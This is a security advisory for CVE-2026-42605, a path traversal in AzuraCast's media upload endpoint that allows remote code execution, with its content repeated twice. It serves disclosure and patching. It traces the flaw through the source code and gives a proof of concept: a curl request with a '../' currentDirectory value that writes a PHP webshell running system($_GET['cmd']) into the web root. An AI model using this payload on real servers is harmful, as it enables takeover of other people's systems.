CVE-2026-42605

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
    $destPath = $currentDir . '/' . $destPath;
}

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

// MediaProcessor.php:75-117
try {
    if (MimeType::isFileProcessable($localPath)) {
        // ... process media ...
        return $record;
    }
    // ...
    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
    throw $e;
} finally {
    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes
}

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation
    $this->ensureDirectoryExists(dirname($destPath), ...);
    copy($localPath, $destPath);  // OS resolves ../
}

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "[email protected]"

Where shell.php contains:

<?php system($_GET['cmd']);…

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.

AzuraCast is a self-hosted, all-in-one web radio management suite. Prior to version 0.23.6, the currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root. This issue has been patched in version 0.23.6.

Summary

The currentDirectory request parameter in the Flow.js media upload endpoint (POST /api/station/{station_id}/files/upload) is not sanitized for path traversal sequences. When combined with a local filesystem storage backend (the default), an authenticated user with media management permissions can write arbitrary files outside the station's media storage directory, achieving remote code execution by writing a PHP webshell to the web root.

Details

In backend/src/Controller/Api/Stations/Files/FlowUploadAction.php, the currentDirectory parameter is read directly from user input at line 79 and prepended to the sanitized filename at line 83:

// FlowUploadAction.php:79-84
$currentDir = Types::string($request->getParam('currentDirectory'));

$destPath = $flowResponse->getClientFullPath();
if (!empty($currentDir)) {
    $destPath = $currentDir . '/' . $destPath;
}

While $flowResponse->getClientFullPath() is sanitized via UploadedFile::filterClientPath() (which strips .. segments), the $currentDir value is prepended after this sanitization, reintroducing traversal capability.

This $destPath is passed to MediaProcessor::processAndUpload() at line 95-98. The critical issue is in the finally block at backend/src/Media/MediaProcessor.php:114-117:

// MediaProcessor.php:75-117
try {
    if (MimeType::isFileProcessable($localPath)) {
        // ... process media ...
        return $record;
    }
    // ...
    throw CannotProcessMediaException::forPath($path, 'File type cannot be processed.');
} catch (CannotProcessMediaException $e) {
    $this->unprocessableMediaRepo->setForPath($storageLocation, $path, $e->getMessage());
    throw $e;
} finally {
    $fs->uploadAndDeleteOriginal($localPath, $path);  // ALWAYS executes
}

The finally block writes the file to the traversed path regardless of whether the file passes MIME type validation. A .php file triggers CannotProcessMediaException, but the finally block still copies it to the destination before the exception propagates.

For local storage (the default), LocalFilesystem::upload() at backend/src/Flysystem/LocalFilesystem.php:45-57 resolves the path via getLocalPath():

// LocalFilesystem.php:45-57
public function upload(string $localPath, string $to): void
{
    $destPath = $this->getLocalPath($to);  // PathPrefixer::prefixPath() — simple concatenation
    $this->ensureDirectoryExists(dirname($destPath), ...);
    copy($localPath, $destPath);  // OS resolves ../
}

getLocalPath() delegates to PathPrefixer::prefixPath() (League Flysystem), which performs simple string concatenation without normalization. This bypasses the WhitespacePathNormalizer that would catch traversal if the path went through the standard Filesystem::write()/writeStream() methods. The OS-level copy() then resolves ../ sequences, writing outside the media root.

Note: RemoteFilesystem::upload() uses $this->writeStream() which DOES go through the normalizer, so S3/remote backends are not affected. Only local storage (the default configuration) is vulnerable.

The route at backend/config/routes/api_station.php:399-405 requires StationPermissions::Media — a permission granted to DJs and station managers, not only admins.

PoC

Assuming AzuraCast is running locally with a station (ID 1) using local filesystem storage and the attacker has a valid API key with Media permissions:

Step 1: Upload a PHP webshell via path traversal

curl -X POST "http://localhost/api/station/1/files/upload" \
  -H "Authorization: Bearer <API_KEY_WITH_MEDIA_PERMISSION>" \
  -F "flowTotalChunks=1" \
  -F "flowChunkNumber=1" \
  -F "flowCurrentChunkSize=44" \
  -F "flowTotalSize=44" \
  -F "flowIdentifier=abc123" \
  -F "flowFilename=shell.php" \
  -F "currentDirectory=../../../../../var/azuracast/www/public" \
  -F "[email protected]"

Where shell.php contains:

<?php system($_GET['cmd']);…